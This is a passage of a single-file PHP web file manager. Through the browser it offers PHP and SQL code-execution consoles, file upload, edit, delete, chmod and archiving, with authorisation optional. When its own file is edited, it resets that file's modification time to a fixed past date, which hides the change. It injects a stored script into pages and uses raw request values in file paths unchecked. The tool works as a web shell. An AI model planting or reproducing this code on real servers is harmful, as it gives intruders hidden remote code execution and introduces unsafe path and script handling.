o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
